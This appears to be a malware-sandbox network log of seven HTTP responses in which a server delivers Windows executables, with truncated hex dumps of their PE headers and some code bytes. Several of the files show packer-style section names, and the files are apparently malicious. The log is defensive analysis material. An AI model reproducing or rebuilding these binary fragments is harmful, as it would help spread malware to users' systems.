Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 13:10:11 GMTContent-Type: application/octet-streamContent-Length: 1114112Last-Modified: Thu, 19 Dec 2024 03:43:46 GMTConnection: keep-aliveETag: "67639672-110000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 24 95 63 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 cc 10 00 00 32 00 00 00 00 00 00 ee ea 10 00 00 20 00 00 00 00 11 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 11 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 ea 10 00 57 00 00 00 00 00 11 00 48 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 11 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 ca 10 00 00 20 00 00 00 cc 10 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 48 2f 00 00 00 00 11 00 00 30 00 00 00 ce 10 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 40 11 00 00 02 00 00 00 fe 10 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 ea 10 00 00 00 00 00 48 00 00 00 02 00 05 00 f0 3c 10 00 a4 ad 00 00 03 00 00 00 4b 00 00 06 90 cc 00 00 60 70 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe 59 3f a8 46 36 30 84 8d 99 35 b2 d7 ba 38 1a 04 e1 c1 34 7a 63 cb 3a 03 56 92 13 f5 e3 07 ce b0 b7 af 4e 86 30 c8 a0 a9 18 31 bb 9b aa d3 d6 97 4f 2a 18 53 9a e6 7e 04 d9 f6 cb a2 c0 0c f1 49 85 ff a2 70 52 05 b8 69 49 c0 d2 09 93 f6 80 50 6e 7d 9b 0e d8 a3 69 4a 21 42 48 8d 2b 6f 2f 53 ce de 79 6a a1 0e 91 38 54 27 cb 7d fa c0 ca 0f 79 ae 49 a7 6b 44 18 0d cd ef cf 27 f4 88 c7 1c f4 24 c4 36 fa f9 8d ca 7d ad 9c 77 5b db 20 29 e0 89 13 6a 80 07 5b bd 2d 16 d1 30 b8 af 9b bc 7c 7f 95 97 70 cc 12 c3 e3 68 5c 1f ff 4c 8a be b5 18 52 d9 54 96 7e 14 b4 9a 8f 1a 04 62 14 4b 86 68 b2 f1 85 12 0a 22 07 38 c7 73 60 29 e1 f6 9a 31 dd bf b1 13 20 c5 cc aa 98 9e 5b 69 26 ce 39 95 e8 9a 8a 81 a4 61 3f 19 46 03 89 4e 1d d7 98 7e f5 ff cd 5f 12 5e 7f 1b 8e 51 88 1e b8 db bc e6 34 33 f7 4c 97 80 01 81 c2 40 76 b3 89 e6 78 c5 ae 07 49 42 ed 34 de da f1 ba c2 0c 8a b7 f3 9a f3 f4 ac 7c bc 00 05 b9 9e c6 28 8a f1 f1 82 ed c7 cc a1 03 ab 7e 18 59 f7
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 13:10:18 GMTContent-Type: application/octet-streamContent-Length: 1880576Last-Modified: Wed, 18 Dec 2024 18:02:50 GMTConnection: keep-aliveETag: "67630e4a-1cb200"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 ae 00 00 00 00 00 00 00 30 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 4a 00 00 04 00 00 69 eb 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 10 05 00 00 10 00 00 00 48 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 20 05 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 30 05 00 00 02 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 b0 2a 00 00 40 05 00 00 02 00 00 00 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 6e 75 7a 76 6c 68 65 00 30 1a 00 00 f0 2f 00 00 2e 1a 00 00 5e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 7a 75 74 74 61 6e 78 00 10 00 00 00 20 4a 00 00 04 00 00 00 8c 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 4a 00 00 22 00 00 00 90 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 13:10:27 GMTContent-Type: application/octet-streamContent-Length: 4450816Last-Modified: Thu, 19 Dec 2024 11:46:36 GMTConnection: keep-aliveETag: "6764079c-43ea00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9f 99 62 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 44 49 00 00 24 6c 00 00 32 00 00 00 a0 bd 00 00 10 00 00 00 60 49 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 d0 bd 00 00 04 00 00 15 98 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 90 69 00 73 00 00 00 00 80 69 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4c 84 bd 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc 83 bd 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 69 00 00 10 00 00 00 48 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 80 69 00 00 02 00 00 00 58 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 69 00 00 02 00 00 00 5a 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 38 00 00 a0 69 00 00 02 00 00 00 5c 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 6f 75 75 6e 73 79 7a 00 70 1b 00 00 20 a2 00 00 66 1b 00 00 5e 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 6b 6b 67 66 65 67 6b 00 10 00 00 00 90 bd 00 00 04 00 00 00 c4 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 bd 00 00 22 00 00 00 c8 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 13:10:39 GMTContent-Type: application/octet-streamContent-Length: 1988608Last-Modified: Thu, 19 Dec 2024 11:46:25 GMTConnection: keep-aliveETag: "67640791-1e5800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cd d8 9a 7a 89 b9 f4 29 89 b9 f4 29 89 b9 f4 29 c2 c1 f7 28 82 b9 f4 29 c2 c1 f1 28 06 b9 f4 29 c2 c1 f0 28 9d b9 f4 29 9c c6 f1 28 af b9 f4 29 9c c6 f0 28 98 b9 f4 29 9c c6 f7 28 9d b9 f4 29 c2 c1 f5 28 8a b9 f4 29 89 b9 f5 29 da b9 f4 29 89 b9 f4 29 8b b9 f4 29 b3 39 f0 28 8a b9 f4 29 b3 39 0b 29 88 b9 f4 29 b3 39 f6 28 88 b9 f4 29 52 69 63 68 89 b9 f4 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 5f 7b 5f 64 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 25 00 7c 03 00 00 5e 03 00 00 00 01 00 00 d0 4b 00 00 10 00 00 00 90 03 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 4c 00 00 04 00 00 7d 5c 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 56 e0 07 00 6a 00 00 00 00 c0 07 00 6c 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 e1 07 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 07 00 00 10 00 00 00 3c 04 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 6c 16 00 00 00 c0 07 00 00 08 00 00 00 4c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 e0 07 00 00 02 00 00 00 54 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 f0 29 00 00 f0 07 00 00 02 00 00 00 56 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 78 77 63 6f 75 66 71 00 e0 19 00 00 e0 31 00 00 da 19 00 00 58 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 6e 73 70 73 74 67 61 00 10 00 00 00 c0 4b 00 00 04 00 00 00 32 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 4b 00 00 22 00 00 00 36 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 13:10:48 GMTContent-Type: application/octet-streamContent-Length: 21504Last-Modified: Wed, 18 Dec 2024 18:13:28 GMTConnection: keep-aliveETag: "676310c8-5400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 70 6d 3b c0 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 4a 00 00 00 08 00 00 00 00 00 00 3a 69 00 00 00 20 00 00 00 80 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 00 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e6 68 00 00 4f 00 00 00 00 80 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 00 00 0c 00 00 00 54 68 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 40 49 00 00 00 20 00 00 00 4a 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 9c 05 00 00 00 80 00 00 00 06 00 00 00 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 a0 00 00 00 02 00 00 00 52 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 69 00 00 00 00 00 00 48 00 00 00 02 00 05 00 e4 36 00 00 70 31 00 00 03 00 02 00 1b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 02 00 38 00 00 00 01 00 00 11 73 32 00 00 06 0a 06 28 16 00 00 0a 7d 3c 00 00 04 06 02 7d 3d 00 00 04 06 15 7d 3b 00 00 04 06 7c 3c 00 00 04 12 00 28 01 00 00 2b 06 7c 3c 00 00 04 28 18 00 00 0a 2a 13 30 02 00 50 00 00 00 02 00 00 11 00 7e 02 00 00 04 16 fe 01 0a 06 2c 42 00 72 01 00 00 70 28 19 00 00 0a 00 72 63 00 00 70 28 19 00 00 0a 00 28 05 00 00 06 0b 72 a9 00 00 70 07 28 1a 00 00 0a 28 19 00 00 0a 00 07 28 04 00 00 06 6f 1b 00 00 0a 00 16 28 1c 00 00 0a 00 00 2a 13 30 02 00 38 00 00 00 03 00 00 11 73 2c 00 00 06 0a 06 28 16 00 00 0a 7d 15 00 00 04 06 02 7d 16 00 00 04 06 15 7d 14 00 00 04 06 7c 15 00 00 04 12 00 28 02 00 00 2b 06 7c 15 00 00 04 28 18 00 00 0a 2a 13 30 05 00 48 00 00 00 04 00 00 11 00 73 1d 00 00 0a 0a 1a 8d 2f 00 00 01 0b 16 0c 2b 1c 00 07 08 7e 03 00 00 04 06 7e 03 00 00 04 8e 69 6f 1e 00 00 0a 9a a2 00 08 17 58 0c 08 1a fe 04 0d 09 2d dc 72 cf 00 00 70 07 28 1f 00 00 0a 13 04 2b 00 11 04 2a 13 30 02 00 16
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 13:10:53 GMTContent-Type: application/octet-streamContent-Length: 765568Last-Modified: Tue, 17 Dec 2024 09:46:16 GMTConnection: keep-aliveETag: "67614868-bae80"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 0b 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 80 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 02 00 54 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 9c a8 01 00 00 10 00 00 00 aa 01 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 24 8b 00 00 00 c0 01 00 00 8c 00 00 00 b2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 22 00 00 00 50 02 00 00 16 00 00 00 3e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 53 00 00 00 00 53 00 00 00 00 80 02 00 00 02 00 00 00 54 02 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 6c 73 00 00 00 00 09 00 00 00 00 90 02 00 00 02 00 00 00 56 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e8 00 00 00 00 a0 02 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 40 19 00 00 00 b0 02 00 00 1a 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 62 73 73 00 00 00 00 00 86 04 00 00 d0 02 00 00 86 04 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 00 86 04 00 00 60 07 00 00 86 04 00 00 fa 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 13:11:00 GMTContent-Type: application/octet-streamContent-Length: 4438776Last-Modified: Tue, 10 Dec 2024 00:01:52 GMTConnection: keep-aliveETag: "675784f0-43baf8"Accept-Ranges: bytesData Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 0e 8e 01 00 00 10 00 00 00 90 01 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 da 3b 00 00 00 a0 01 00 00 3c 00 00 00 92 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ec 4d 00 00 00 e0 01 00 00 0a 00 00 00 ce 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 4f 00 00 00 30 02 00 00 50 00 00 00 d8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 55 8b ec a1 60 e9 41 00 81 ec 04 09 00 00 53 33 db 3b c3 56 57 74 1f 66 39 1d 62 e9 41 00 74 07 ff d0 a3 60 e9 41 00 50 e8 50 14 00 00 50 e8 ef 84 00 00 59 eb 6e 6a 27 e8 40 14 00 00 8b 75 08 ff 76 0c 8b 3d c0 a2 41 00 ff 36 50 8d 85 fc f6 ff ff 50 ff d7 83 c4 14 39 5e 10 89 5d fc 76 38 8d 5e 14 ff 33 8d 85 fc fe ff ff 68 90 a4 41 00 50 ff d7 83 c4 0c 8d 85 fc fe ff ff 50 8d 85 fc f6 ff ff 50 ff 15 78 a1 41 00 ff 45 fc 8b 45 fc 83 c3 04 3b 46 10 72 cb 8d 85 fc f6 ff ff 50 e8 7e 84 00 00 59 e8 d4 36 00 00 6a 0a ff 15 74 a1 41 00 cc ff 74 24 04 e8 44 ff ff ff cc 56 8b f1 e8 25 73 00 00 c7 06 a0 a4 41 00 c7 46 38 d2 07 00 00 8b c6 5e c3 6a 01 ff 71 04 ff 15 bc a2 41 00 c3 33 c0 39 05 60 ea 41 00 74 07 b8 04 40 00 80 eb 1e 39 44 24 08 74 16 ff 74 24 08 50 68 02 80 00 00 ff 35 58 ea 41 00 ff 15 b8 a2 41 00 33 c0 c2 08 00 8b 44 24 04 83 60 1c 00 83 7c 24 08 00 75 07 c7 40 1c 01 00 00 00 33 c0 c2 08 00 a0 70 e9 41 00 f6 d8 1b c0 83 e0 0b 83 c0 08 c3 ff 74 24 10 8b 44 24 08 ff 74 24 10 c7 05 60 e9 41 00 2f 11 40 00 ff 74 24 10 8b 08 50 ff 51 0c 83 25 60 e9 41 00 00 c3 33 c0 c2 0c 00 8b 54 24 08 8b 4c 24 04 0f b7 02 66 89 01 41 41 42 42 66 85 c0 75 f1 c3 8b 4c 24 04 33 c0 66 39
